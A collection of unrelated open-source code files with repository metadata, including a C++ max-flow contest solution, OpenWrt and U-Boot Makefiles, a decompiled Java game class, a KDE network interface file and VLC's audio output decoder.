#include<iostream> #include<cstring> #include<algorithm> #include<queue> #include<cstdio> #include<sstream> #include<string> #include<cmath> using namespace std; const int MAXN = 20100; const int MAXM = 900000; const int INF = 0x3f3f3f3f; struct Edge { int from, to, cap, next; }; Edge edge[MAXM]; int level[MAXN]; int map[150][150]; int head[MAXN]; int src, des, cnt = 0; void addedge( int from, int to, int cap ) { edge[cnt].from = from; edge[cnt].to = to; edge[cnt].cap = cap; edge[cnt].next = head[from]; head[from] = cnt++; swap( from, to ); edge[cnt].from = from; edge[cnt].to = to; edge[cnt].cap = 0; edge[cnt].next = head[from]; head[from] = cnt++; } int bfs( ) { memset( level, -1, sizeof level ); queue<int> q; while (!q.empty( )) q.pop( ); level[src] = 0; q.push( src ); while (!q.empty( )) { int u = q.front( ); q.pop( ); for (int i = head[u]; i != -1; i = edge[i].next) { int v = edge[i].to; if (edge[i].cap&&level[v] == -1) { level[v] = level[u] + 1; q.push( v ); } } } return level[des] != -1; } int dfs( int u, int f ) { if (u == des) return f; int tem; for (int i = head[u]; i != -1; i = edge[i].next) { int v = edge[i].to; if (edge[i].cap&&level[v] == level[u] + 1) { tem = dfs( v, min( f, edge[i].cap ) ); if (tem > 0) { edge[i].cap -= tem; edge[i ^ 1].cap += tem; return tem; } } } level[u] = -1; return 0; } int Dinic( ) { int ans = 0, tem; while (bfs( )) { while (tem = dfs( src, INF )) { ans += tem; } } return ans; } int main( ) { int kase, m, n; cin >> kase; src = 0; des = 20005; while (kase--) { cin >> n>>m; memset( head, -1, sizeof head ); cnt = 0; for (int i = 1; i <= n; i++) { for (int j = 1; j <= m; j++) { cin >> map[i][j]; if (map[i][j]) { if ((i + j) % 2 == 1) addedge( src, (i - 1) *100 + j, 1 ); else addedge( (i - 1) * 100 + j, des, 1 ); } } } for (int i = 1; i <= n; i++) { for (int j = 1; j <= m; j++) { if (!map[i][j]) continue; if (i+1<=n&&map[i+1][j]) { addedge( (i - 1) * 100 + j, i * 100 + j, 1 ); } if (j + 1 <= m&&map[i][j+1]) { addedge( (i - 1) * 100 + j, (i - 1) * 100 + j + 1, 1 ); } if (i - 1 >= 1 && map[i-1][j]) { addedge( (i - 1) * 100 + j, (i - 2) * 100 + j , 1 ); } if (j - 1 >= 1 && map[i][j-1]) { addedge( (i - 1) * 100 + j, (i - 1) * 100 + j - 1, 1 ); } } } cout << Dinic() * 2 << endl; } return 0; }
thinkermao/Demo
ACM/problem/test.cpp
C++
gpl-2.0
3,487
# # Copyright (C) 2006-2015 OpenWrt.org # # This is free software, licensed under the GNU General Public License v2. # See /LICENSE for more information. # include $(TOPDIR)/rules.mk PKG_NAME:=openssl PKG_BASE:=1.0.2 PKG_BUGFIX:=e PKG_VERSION:=$(PKG_BASE)$(PKG_BUGFIX) PKG_RELEASE:=1 PKG_USE_MIPS16:=0 PKG_BUILD_PARALLEL:=0 PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz PKG_SOURCE_URL:=http://www.openssl.org/source/ \ ftp://ftp.openssl.org/source/ \ http://www.openssl.org/source/old/$(PKG_BASE)/ \ ftp://ftp.funet.fi/pub/crypt/mirrors/ftp.openssl.org/source \ ftp://ftp.sunet.se/pub/security/tools/net/openssl/source/ PKG_MD5SUM:=5262bfa25b60ed9de9f28d5d52d77fc5 PKG_LICENSE:=OpenSSL PKG_LICENSE_FILES:=LICENSE PKG_BUILD_DEPENDS:=ocf-crypto-headers PKG_CONFIG_DEPENDS:= \ CONFIG_OPENSSL_ENGINE_CRYPTO \ CONFIG_OPENSSL_ENGINE_DIGEST \ CONFIG_OPENSSL_WITH_EC \ CONFIG_OPENSSL_WITH_EC2M \ CONFIG_OPENSSL_WITH_SSL3 \ CONFIG_OPENSSL_HARDWARE_SUPPORT include $(INCLUDE_DIR)/package.mk ifneq ($(CONFIG_CCACHE),) HOSTCC=$(HOSTCC_NOCACHE) HOSTCXX=$(HOSTCXX_NOCACHE) endif define Package/openssl/Default TITLE:=Open source SSL toolkit URL:=http://www.openssl.org/ endef define Package/libopenssl/config source "$(SOURCE)/Config.in" endef define Package/openssl/Default/description The OpenSSL Project is a collaborative effort to develop a robust, commercial-grade, full-featured, and Open Source toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols as well as a full-strength general purpose cryptography library. endef define Package/libopenssl $(call Package/openssl/Default) SECTION:=libs SUBMENU:=SSL CATEGORY:=Libraries DEPENDS:=+zlib TITLE+= (libraries) ABI_VERSION:=$(PKG_VERSION) MENU:=1 endef define Package/libopenssl/description $(call Package/openssl/Default/description) This package contains the OpenSSL shared libraries, needed by other programs. endef define Package/openssl-util $(call Package/openssl/Default) SECTION:=utils CATEGORY:=Utilities DEPENDS:=+libopenssl TITLE+= (utility) endef define Package/openssl-util/conffiles /etc/ssl/openssl.cnf endef define Package/openssl-util/description $(call Package/openssl/Default/description) This package contains the OpenSSL command-line utility. endef OPENSSL_NO_CIPHERS:= no-idea no-md2 no-mdc2 no-rc5 no-sha0 no-camellia no-krb5 OPENSSL_OPTIONS:= shared no-err zlib-dynamic no-sse2 no-ssl2 ifdef CONFIG_OPENSSL_ENGINE_CRYPTO OPENSSL_OPTIONS += -DHAVE_CRYPTODEV ifdef CONFIG_OPENSSL_ENGINE_DIGEST OPENSSL_OPTIONS += -DUSE_CRYPTODEV_DIGESTS endif else OPENSSL_OPTIONS += no-engines endif ifndef CONFIG_OPENSSL_WITH_EC OPENSSL_OPTIONS += no-ec endif ifndef CONFIG_OPENSSL_WITH_EC2M OPENSSL_OPTIONS += no-ec2m endif ifndef CONFIG_OPENSSL_WITH_SSL3 OPENSSL_OPTIONS += no-ssl3 endif ifndef CONFIG_OPENSSL_HARDWARE_SUPPORT OPENSSL_OPTIONS += no-hw endif ifeq ($(CONFIG_x86_64),y) OPENSSL_TARGET:=linux-x86_64-openwrt OPENSSL_MAKEFLAGS += LIBDIR=lib else OPENSSL_OPTIONS+=no-sse2 ifeq ($(CONFIG_mips)$(CONFIG_mipsel),y) OPENSSL_TARGET:=linux-mips-openwrt # else ifeq ($(CONFIG_arm)$(CONFIG_armeb),y) # OPENSSL_TARGET:=linux-armv4-openwrt else OPENSSL_TARGET:=linux-generic-openwrt OPENSSL_OPTIONS+=no-perlasm endif endif STAMP_CONFIGURED := $(STAMP_CONFIGURED)_$(subst $(space),_,$(OPENSSL_OPTIONS)) define Build/Configure [ -f $(STAMP_CONFIGURED) ] || { \ rm -f $(PKG_BUILD_DIR)/*.so.* $(PKG_BUILD_DIR)/*.a; \ find $(PKG_BUILD_DIR) -name \*.o | xargs rm -f; \ } (cd $(PKG_BUILD_DIR); \ ./Configure $(OPENSSL_TARGET) \ --prefix=/usr \ --openssldir=/etc/ssl \ $(TARGET_CPPFLAGS) \ $(TARGET_LDFLAGS) -ldl \ -DOPENSSL_SMALL_FOOTPRINT \ $(OPENSSL_NO_CIPHERS) \ $(OPENSSL_OPTIONS) \ ) # XXX: OpenSSL "make depend" will look for installed headers before its own, # so remove installed stuff first -$(SUBMAKE) -j1 clean-staging +$(MAKE) $(PKG_JOBS) -C $(PKG_BUILD_DIR) \ MAKEDEPPROG="$(TARGET_CROSS)gcc" \ OPENWRT_OPTIMIZATION_FLAGS="$(TARGET_CFLAGS)" \ $(OPENSSL_MAKEFLAGS) \ depend endef TARGET_CFLAGS += $(FPIC) define Build/Compile +$(MAKE) $(PKG_JOBS) -C $(PKG_BUILD_DIR) \ CC="$(TARGET_CC)" \ ASFLAGS="$(TARGET_ASFLAGS) -I$(PKG_BUILD_DIR)/crypto -c" \ AR="$(TARGET_CROSS)ar r" \ RANLIB="$(TARGET_CROSS)ranlib" \ OPENWRT_OPTIMIZATION_FLAGS="$(TARGET_CFLAGS)" \ $(OPENSSL_MAKEFLAGS) \ all +$(MAKE) $(PKG_JOBS) -C $(PKG_BUILD_DIR) \ CC="$(TARGET_CC)" \ ASFLAGS="$(TARGET_ASFLAGS) -I$(PKG_BUILD_DIR)/crypto -c" \ AR="$(TARGET_CROSS)ar r" \ RANLIB="$(TARGET_CROSS)ranlib" \ OPENWRT_OPTIMIZATION_FLAGS="$(TARGET_CFLAGS)" \ $(OPENSSL_MAKEFLAGS) \ build-shared # Work around openssl build bug to link libssl.so with libcrypto.so. -rm $(PKG_BUILD_DIR)/libssl.so.*.*.* +$(MAKE) $(PKG_JOBS) -C $(PKG_BUILD_DIR) \ CC="$(TARGET_CC)" \ OPENWRT_OPTIMIZATION_FLAGS="$(TARGET_CFLAGS)" \ $(OPENSSL_MAKEFLAGS) \ do_linux-shared $(MAKE) -C $(PKG_BUILD_DIR) \ CC="$(TARGET_CC)" \ INSTALL_PREFIX="$(PKG_INSTALL_DIR)" \ $(OPENSSL_MAKEFLAGS) \ install endef define Build/InstallDev $(INSTALL_DIR) $(1)/usr/include $(CP) $(PKG_INSTALL_DIR)/usr/include/openssl $(1)/usr/include/ $(INSTALL_DIR) $(1)/usr/lib/ $(CP) $(PKG_INSTALL_DIR)/usr/lib/lib{crypto,ssl}.{a,so*} $(1)/usr/lib/ $(INSTALL_DIR) $(1)/usr/lib/pkgconfig $(CP) $(PKG_INSTALL_DIR)/usr/lib/pkgconfig/{openssl,libcrypto,libssl}.pc $(1)/usr/lib/pkgconfig/ [ -n "$(TARGET_LDFLAGS)" ] && $(SED) 's#$(TARGET_LDFLAGS)##g' $(1)/usr/lib/pkgconfig/{openssl,libcrypto,libssl}.pc || true endef define Package/libopenssl/install $(INSTALL_DIR) $(1)/usr/lib $(INSTALL_DATA) $(PKG_INSTALL_DIR)/usr/lib/libcrypto.so.* $(1)/usr/lib/ $(INSTALL_DATA) $(PKG_INSTALL_DIR)/usr/lib/libssl.so.* $(1)/usr/lib/ endef define Package/openssl-util/install $(INSTALL_DIR) $(1)/etc/ssl $(CP) $(PKG_INSTALL_DIR)/etc/ssl/openssl.cnf $(1)/etc/ssl/ $(INSTALL_DIR) $(1)/etc/ssl/certs $(INSTALL_DIR) $(1)/etc/ssl/private chmod 0700 $(1)/etc/ssl/private $(INSTALL_DIR) $(1)/usr/bin $(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/bin/openssl $(1)/usr/bin/ endef $(eval $(call BuildPackage,libopenssl)) $(eval $(call BuildPackage,openssl-util))
bnewbold/openwrt-repro
package/libs/openssl/Makefile
Makefile
gpl-2.0
6,264
# Copyright Statement: # # This software/firmware and related documentation ("MediaTek Software") are # protected under relevant copyright laws. The information contained herein # is confidential and proprietary to MediaTek Inc. and/or its licensors. # Without the prior written permission of MediaTek inc. and/or its licensors, # any reproduction, modification, use or disclosure of MediaTek Software, # and information contained herein, in whole or in part, shall be strictly prohibited. # # MediaTek Inc. (C) 2010. All rights reserved. # # BY OPENING THIS FILE, RECEIVER HEREBY UNEQUIVOCALLY ACKNOWLEDGES AND AGREES # THAT THE SOFTWARE/FIRMWARE AND ITS DOCUMENTATIONS ("MEDIATEK SOFTWARE") # RECEIVED FROM MEDIATEK AND/OR ITS REPRESENTATIVES ARE PROVIDED TO RECEIVER ON # AN "AS-IS" BASIS ONLY. MEDIATEK EXPRESSLY DISCLAIMS ANY AND ALL WARRANTIES, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NONINFRINGEMENT. # NEITHER DOES MEDIATEK PROVIDE ANY WARRANTY WHATSOEVER WITH RESPECT TO THE # SOFTWARE OF ANY THIRD PARTY WHICH MAY BE USED BY, INCORPORATED IN, OR # SUPPLIED WITH THE MEDIATEK SOFTWARE, AND RECEIVER AGREES TO LOOK ONLY TO SUCH # THIRD PARTY FOR ANY WARRANTY CLAIM RELATING THERETO. RECEIVER EXPRESSLY ACKNOWLEDGES # THAT IT IS RECEIVER'S SOLE RESPONSIBILITY TO OBTAIN FROM ANY THIRD PARTY ALL PROPER LICENSES # CONTAINED IN MEDIATEK SOFTWARE. MEDIATEK SHALL ALSO NOT BE RESPONSIBLE FOR ANY MEDIATEK # SOFTWARE RELEASES MADE TO RECEIVER'S SPECIFICATION OR TO CONFORM TO A PARTICULAR # STANDARD OR OPEN FORUM. RECEIVER'S SOLE AND EXCLUSIVE REMEDY AND MEDIATEK'S ENTIRE AND # CUMULATIVE LIABILITY WITH RESPECT TO THE MEDIATEK SOFTWARE RELEASED HEREUNDER WILL BE, # AT MEDIATEK'S OPTION, TO REVISE OR REPLACE THE MEDIATEK SOFTWARE AT ISSUE, # OR REFUND ANY SOFTWARE LICENSE FEES OR SERVICE CHARGE PAID BY RECEIVER TO # MEDIATEK FOR SUCH MEDIATEK SOFTWARE AT ISSUE. # # The following software/firmware and/or related documentation ("MediaTek Software") # have been modified by MediaTek Inc. All revisions are subject to any receiver's # applicable license agreements with MediaTek Inc. # # (C) Copyright 2000-2006 # Wolfgang Denk, DENX Software Engineering, wd@denx.de. # # See file CREDITS for list of people who contributed to this # project. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 2 of # the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, # MA 02111-1307 USA # include $(TOPDIR)/config.mk LIB = $(obj)lib$(CPU).a START = start.o COBJS += cache.o COBJS += cpu.o COBJS += timer.o SRCS := $(START:.o=.S) $(SOBJS:.o=.S) $(COBJS:.o=.c) OBJS := $(addprefix $(obj),$(SOBJS) $(COBJS)) START := $(addprefix $(obj),$(START)) all: $(obj).depend $(START) $(LIB) $(LIB): $(OBJS) $(AR) $(ARFLAGS) $@ $(OBJS) ######################################################################### # defines $(obj).depend target include $(SRCTREE)/rules.mk sinclude $(obj).depend #########################################################################
luckasfb/OT_903D-kernel-2.6.35.7
bootable/bootloader/uboot/arch/arm/cpu/s3c44b0/Makefile
Makefile
gpl-2.0
3,622
/* * Decompiled with CFR 0_123. */ package com.mojang.escape.level.block; import com.mojang.escape.Art; import com.mojang.escape.Sound; import com.mojang.escape.entities.Item; import com.mojang.escape.gui.Sprite; import com.mojang.escape.level.Level; import com.mojang.escape.level.block.Block; public class ChestBlock extends Block { private boolean open = false; private Sprite chestSprite; public ChestBlock() { this.tex = 1; this.blocksMotion = true; this.chestSprite = new Sprite(0.0, 0.0, 0.0, 16, Art.getCol(16776960)); this.addSprite(this.chestSprite); } public boolean use(Level level, Item item) { if (this.open) { return false; } ++this.chestSprite.tex; this.open = true; level.getLoot(this.id); Sound.treasure.play(); return true; } }
Pugduddly/enderX
apps/PoC/src/main/java/com/mojang/escape/level/block/ChestBlock.java
Java
gpl-2.0
878
/** * This header is generated by class-dump-z 0.2b. * * Source: (null) */ @protocol AFSyncBeginInfo - (void)resetWithValidity:(id)validity; @end
kokoabim/iOSOpenDev-Framework-Header-Files
AssistantServices.framework/Headers/AFSyncBeginInfo.h
C
gpl-2.0
154
/* Copyright 2011 Lamarque Souza <lamarque@gmail.com> This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) version 3, or any later version accepted by the membership of KDE e.V. (or its successor approved by the membership of KDE e.V.), which shall act as a proxy defined in Section 6 of version 3 of the license. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library. If not, see <http://www.gnu.org/licenses/>. */ #include <KLocale> #include "networkbtinterface.h" #include "networkbtinterface_p.h" #include "frontendobject_p.h" #include "soliddefs_p.h" #include "ifaces/networkbtinterface.h" Solid::Control::BtNetworkInterfaceNm09::BtNetworkInterfaceNm09(QObject *backendObject) : ModemNetworkInterfaceNm09(*new BtNetworkInterfaceNm09Private(this), backendObject) { Q_D(BtNetworkInterfaceNm09); d->setBackendObject(backendObject); makeConnections( backendObject ); } Solid::Control::BtNetworkInterfaceNm09::BtNetworkInterfaceNm09(const BtNetworkInterfaceNm09 &networkinterface) : ModemNetworkInterfaceNm09(*new BtNetworkInterfaceNm09Private(this), networkinterface) { Q_D(BtNetworkInterfaceNm09); d->setBackendObject(networkinterface.d_ptr->backendObject()); makeConnections( networkinterface.d_ptr->backendObject() ); } Solid::Control::BtNetworkInterfaceNm09::BtNetworkInterfaceNm09(BtNetworkInterfaceNm09Private &dd, QObject *backendObject) : ModemNetworkInterfaceNm09(dd, backendObject) { makeConnections( backendObject ); } Solid::Control::BtNetworkInterfaceNm09::BtNetworkInterfaceNm09(BtNetworkInterfaceNm09Private &dd, const BtNetworkInterfaceNm09 &networkinterface) : ModemNetworkInterfaceNm09(dd, networkinterface.d_ptr->backendObject()) { makeConnections( networkinterface.d_ptr->backendObject() ); } Solid::Control::BtNetworkInterfaceNm09::~BtNetworkInterfaceNm09() { } Solid::Control::NetworkInterfaceNm09::Type Solid::Control::BtNetworkInterfaceNm09::type() const { return Bluetooth; } void Solid::Control::BtNetworkInterfaceNm09::makeConnections(QObject * source) { connect(source, SIGNAL(networkNameChanged(QString)), this, SIGNAL(networkNameChanged(QString))); } Solid::Control::BtNetworkInterfaceNm09::Capabilities Solid::Control::BtNetworkInterfaceNm09::btCapabilities() const { Q_D(const BtNetworkInterfaceNm09); return_SOLID_CALL(Ifaces::BtNetworkInterfaceNm09 *, d->backendObject(), (Solid::Control::BtNetworkInterfaceNm09::Capabilities)0, btCapabilities()); } QString Solid::Control::BtNetworkInterfaceNm09::hardwareAddress() const { Q_D(const BtNetworkInterfaceNm09); return_SOLID_CALL(Ifaces::BtNetworkInterfaceNm09 *, d->backendObject(), QString(), hardwareAddress()); } QString Solid::Control::BtNetworkInterfaceNm09::name() const { Q_D(const BtNetworkInterfaceNm09); return_SOLID_CALL(Ifaces::BtNetworkInterfaceNm09 *, d->backendObject(), QString(), name()); } void Solid::Control::BtNetworkInterfaceNm09Private::setBackendObject(QObject *object) { ModemNetworkInterfaceNm09Private::setBackendObject(object); } void Solid::Control::BtNetworkInterfaceNm09::_k_destroyed(QObject *object) { Q_UNUSED(object); } // vim: sw=4 sts=4 et tw=100
RoboMod/network-manager-ipop
kde/solidcontrolfuture/libs/solid/control/networkbtinterface.cpp
C++
gpl-2.0
3,647
/***************************************************************************** * dec.c : audio output API towards decoders ***************************************************************************** * Copyright (C) 2002-2007 VLC authors and VideoLAN * $Id: 9e356aa5d47653f8b5e62f5257a2a683c561ffc0 $ * * Authors: Christophe Massiot <massiot@via.ecp.fr> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation; either version 2.1 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA. *****************************************************************************/ /***************************************************************************** * Preamble *****************************************************************************/ #ifdef HAVE_CONFIG_H # include "config.h" #endif #include <assert.h> #include <vlc_common.h> #include <vlc_aout.h> #include <vlc_input.h> #include "aout_internal.h" #include "libvlc.h" /** * Creates an audio output */ int aout_DecNew( audio_output_t *p_aout, const audio_sample_format_t *p_format, const audio_replay_gain_t *p_replay_gain, const aout_request_vout_t *p_request_vout ) { /* Sanitize audio format */ if( p_format->i_channels != aout_FormatNbChannels( p_format ) ) { msg_Err( p_aout, "incompatible audio channels count with layout mask" ); return -1; } if( p_format->i_rate > 352800 ) { msg_Err( p_aout, "excessive audio sample frequency (%u)", p_format->i_rate ); return -1; } if( p_format->i_rate < 4000 ) { msg_Err( p_aout, "too low audio sample frequency (%u)", p_format->i_rate ); return -1; } var_Create (p_aout, "stereo-mode", VLC_VAR_INTEGER | VLC_VAR_HASCHOICE | VLC_VAR_DOINHERIT); vlc_value_t txt; txt.psz_string = _("Stereo audio mode"); var_Change (p_aout, "stereo-mode", VLC_VAR_SETTEXT, &txt, NULL); aout_owner_t *owner = aout_owner(p_aout); /* TODO: reduce lock scope depending on decoder's real need */ aout_OutputLock (p_aout); /* Create the audio output stream */ owner->volume = aout_volume_New (p_aout, p_replay_gain); atomic_store (&owner->restart, 0); owner->input_format = *p_format; owner->mixer_format = owner->input_format; owner->request_vout = *p_request_vout; if (aout_OutputNew (p_aout, &owner->mixer_format)) goto error; aout_volume_SetFormat (owner->volume, owner->mixer_format.i_format); /* Create the audio filtering "input" pipeline */ owner->filters = aout_FiltersNew (p_aout, p_format, &owner->mixer_format, &owner->request_vout); if (owner->filters == NULL) { aout_OutputDelete (p_aout); error: aout_volume_Delete (owner->volume); owner->volume = NULL; aout_OutputUnlock (p_aout); var_Destroy (p_aout, "stereo-mode"); return -1; } owner->sync.end = VLC_TS_INVALID; owner->sync.resamp_type = AOUT_RESAMPLING_NONE; owner->sync.discontinuity = true; aout_OutputUnlock (p_aout); atomic_init (&owner->buffers_lost, 0); return 0; } /** * Stops all plugins involved in the audio output. */ void aout_DecDelete (audio_output_t *aout) { aout_owner_t *owner = aout_owner (aout); aout_OutputLock (aout); if (owner->mixer_format.i_format) { aout_FiltersDelete (aout, owner->filters); aout_OutputDelete (aout); } aout_volume_Delete (owner->volume); owner->volume = NULL; aout_OutputUnlock (aout); var_Destroy (aout, "stereo-mode"); } static int aout_CheckReady (audio_output_t *aout) { aout_owner_t *owner = aout_owner (aout); int restart = atomic_exchange (&owner->restart, 0); if (unlikely(restart)) { if (owner->mixer_format.i_format) aout_FiltersDelete (aout, owner->filters); if (restart & AOUT_RESTART_OUTPUT) { /* Reinitializes the output */ msg_Dbg (aout, "restarting output..."); if (owner->mixer_format.i_format) aout_OutputDelete (aout); owner->mixer_format = owner->input_format; if (aout_OutputNew (aout, &owner->mixer_format)) owner->mixer_format.i_format = 0; aout_volume_SetFormat (owner->volume, owner->mixer_format.i_format); } msg_Dbg (aout, "restarting filters..."); owner->sync.end = VLC_TS_INVALID; owner->sync.resamp_type = AOUT_RESAMPLING_NONE; if (owner->mixer_format.i_format) { owner->filters = aout_FiltersNew (aout, &owner->input_format, &owner->mixer_format, &owner->request_vout); if (owner->filters == NULL) { aout_OutputDelete (aout); owner->mixer_format.i_format = 0; } } /* TODO: This would be a good time to call clean up any video output * left over by an audio visualization: input_resource_TerminatVout(MAGIC HERE); */ } return (owner->mixer_format.i_format) ? 0 : -1; } /** * Marks the audio output for restart, to update any parameter of the output * plug-in (e.g. output device or channel mapping). */ void aout_RequestRestart (audio_output_t *aout, unsigned mode) { aout_owner_t *owner = aout_owner (aout); atomic_fetch_or (&owner->restart, mode); msg_Dbg (aout, "restart requested (%u)", mode); } /* * Buffer management */ static void aout_StopResampling (audio_output_t *aout) { aout_owner_t *owner = aout_owner (aout); owner->sync.resamp_type = AOUT_RESAMPLING_NONE; aout_FiltersAdjustResampling (owner->filters, 0); } static void aout_DecSilence (audio_output_t *aout, mtime_t length, mtime_t pts) { aout_owner_t *owner = aout_owner (aout); const audio_sample_format_t *fmt = &owner->mixer_format; size_t frames = (fmt->i_rate * length) / CLOCK_FREQ; block_t *block; if (AOUT_FMT_SPDIF(fmt)) block = block_Alloc (4 * frames); else block = block_Alloc (frames * fmt->i_bytes_per_frame); if (unlikely(block == NULL)) return; /* uho! */ msg_Dbg (aout, "inserting %zu zeroes", frames); memset (block->p_buffer, 0, block->i_buffer); block->i_nb_samples = frames; block->i_pts = pts; block->i_dts = pts; block->i_length = length; aout_OutputPlay (aout, block); } static void aout_DecSynchronize (audio_output_t *aout, mtime_t dec_pts, int input_rate) { aout_owner_t *owner = aout_owner (aout); mtime_t drift; /** * Depending on the drift between the actual and intended playback times, * the audio core may ignore the drift, trigger upsampling or downsampling, * insert silence or even discard samples. * Future VLC versions may instead adjust the input rate. * * The audio output plugin is responsible for estimating its actual * playback time, or rather the estimated time when the next sample will * be played. (The actual playback time is always the current time, that is * to say mdate(). It is not an useful statistic.) * * Most audio output plugins can estimate the delay until playback of * the next sample to be written to the buffer, or equally the time until * all samples in the buffer will have been played. Then: * pts = mdate() + delay */ if (aout_OutputTimeGet (aout, &drift) != 0) return; /* nothing can be done if timing is unknown */ drift += mdate () - dec_pts; /* Late audio output. * This can happen due to insufficient caching, scheduling jitter * or bug in the decoder. Ideally, the output would seek backward. But that * is not portable, not supported by some hardware and often unsafe/buggy * where supported. The other alternative is to flush the buffers * completely. */ if (drift > (owner->sync.discontinuity ? 0 : +3 * input_rate * AOUT_MAX_PTS_DELAY / INPUT_RATE_DEFAULT)) { if (!owner->sync.discontinuity) msg_Warn (aout, "playback way too late (%"PRId64"): " "flushing buffers", drift); else msg_Dbg (aout, "playback too late (%"PRId64"): " "flushing buffers", drift); aout_OutputFlush (aout, false); aout_StopResampling (aout); owner->sync.end = VLC_TS_INVALID; owner->sync.discontinuity = true; /* Now the output might be too early... Recheck. */ if (aout_OutputTimeGet (aout, &drift) != 0) return; /* nothing can be done if timing is unknown */ drift += mdate () - dec_pts; } /* Early audio output. * This is rare except at startup when the buffers are still empty. */ if (drift < (owner->sync.discontinuity ? 0 : -3 * input_rate * AOUT_MAX_PTS_ADVANCE / INPUT_RATE_DEFAULT)) { if (!owner->sync.discontinuity) msg_Warn (aout, "playback way too early (%"PRId64"): " "playing silence", drift); aout_DecSilence (aout, -drift, dec_pts); aout_StopResampling (aout); owner->sync.discontinuity = true; drift = 0; } /* Resampling */ if (drift > +AOUT_MAX_PTS_DELAY && owner->sync.resamp_type != AOUT_RESAMPLING_UP) { msg_Warn (aout, "playback too late (%"PRId64"): up-sampling", drift); owner->sync.resamp_type = AOUT_RESAMPLING_UP; owner->sync.resamp_start_drift = +drift; } if (drift < -AOUT_MAX_PTS_ADVANCE && owner->sync.resamp_type != AOUT_RESAMPLING_DOWN) { msg_Warn (aout, "playback too early (%"PRId64"): down-sampling", drift); owner->sync.resamp_type = AOUT_RESAMPLING_DOWN; owner->sync.resamp_start_drift = -drift; } if (owner->sync.resamp_type == AOUT_RESAMPLING_NONE) return; /* Everything is fine. Nothing to do. */ if (llabs (drift) > 2 * owner->sync.resamp_start_drift) { /* If the drift is ever increasing, then something is seriously wrong. * Cease resampling and hope for the best. */ msg_Warn (aout, "timing screwed (drift: %"PRId64" us): " "stopping resampling", drift); aout_StopResampling (aout); return; } /* Resampling has been triggered earlier. This checks if it needs to be * increased or decreased. Resampling rate changes must be kept slow for * the comfort of listeners. */ int adj = (owner->sync.resamp_type == AOUT_RESAMPLING_UP) ? +2 : -2; if (2 * llabs (drift) <= owner->sync.resamp_start_drift) /* If the drift has been reduced from more than half its initial * value, then it is time to switch back the resampling direction. */ adj *= -1; if (!aout_FiltersAdjustResampling (owner->filters, adj)) { /* Everything is back to normal: stop resampling. */ owner->sync.resamp_type = AOUT_RESAMPLING_NONE; msg_Dbg (aout, "resampling stopped (drift: %"PRId64" us)", drift); } } /***************************************************************************** * aout_DecPlay : filter & mix the decoded buffer *****************************************************************************/ int aout_DecPlay (audio_output_t *aout, block_t *block, int input_rate) { aout_owner_t *owner = aout_owner (aout); assert (input_rate >= INPUT_RATE_DEFAULT / AOUT_MAX_INPUT_RATE); assert (input_rate <= INPUT_RATE_DEFAULT * AOUT_MAX_INPUT_RATE); assert (block->i_pts >= VLC_TS_0); block->i_length = CLOCK_FREQ * block->i_nb_samples / owner->input_format.i_rate; aout_OutputLock (aout); if (unlikely(aout_CheckReady (aout))) goto drop; /* Pipeline is unrecoverably broken :-( */ const mtime_t now = mdate (), advance = block->i_pts - now; if (advance < -AOUT_MAX_PTS_DELAY) { /* Late buffer can be caused by bugs in the decoder, by scheduling * latency spikes (excessive load, SIGSTOP, etc.) or if buffering is * insufficient. We assume the PTS is wrong and play the buffer anyway: * Hopefully video has encountered a similar PTS problem as audio. */ msg_Warn (aout, "buffer too late (%"PRId64" us): dropped", advance); goto drop; } if (advance > AOUT_MAX_ADVANCE_TIME) { /* Early buffers can only be caused by bugs in the decoder. */ msg_Err (aout, "buffer too early (%"PRId64" us): dropped", advance); goto drop; } if (block->i_flags & BLOCK_FLAG_DISCONTINUITY) owner->sync.discontinuity = true; block = aout_FiltersPlay (owner->filters, block, input_rate); if (block == NULL) goto lost; /* Software volume */ aout_volume_Amplify (owner->volume, block); /* Drift correction */ aout_DecSynchronize (aout, block->i_pts, input_rate); /* Output */ owner->sync.end = block->i_pts + block->i_length + 1; owner->sync.discontinuity = false; aout_OutputPlay (aout, block); out: aout_OutputUnlock (aout); return 0; drop: owner->sync.discontinuity = true; block_Release (block); lost: atomic_fetch_add(&owner->buffers_lost, 1); goto out; } int aout_DecGetResetLost (audio_output_t *aout) { aout_owner_t *owner = aout_owner (aout); return atomic_exchange(&owner->buffers_lost, 0); } void aout_DecChangePause (audio_output_t *aout, bool paused, mtime_t date) { aout_owner_t *owner = aout_owner (aout); aout_OutputLock (aout); if (owner->sync.end != VLC_TS_INVALID) { if (paused) owner->sync.end -= date; else owner->sync.end += date; } if (owner->mixer_format.i_format) aout_OutputPause (aout, paused, date); aout_OutputUnlock (aout); } void aout_DecFlush (audio_output_t *aout, bool wait) { aout_owner_t *owner = aout_owner (aout); aout_OutputLock (aout); owner->sync.end = VLC_TS_INVALID; if (owner->mixer_format.i_format) aout_OutputFlush (aout, wait); aout_OutputUnlock (aout); }
supersonic13/vlc_dvbtsanalyser
src/audio_output/dec.c
C
gpl-2.0
14,991
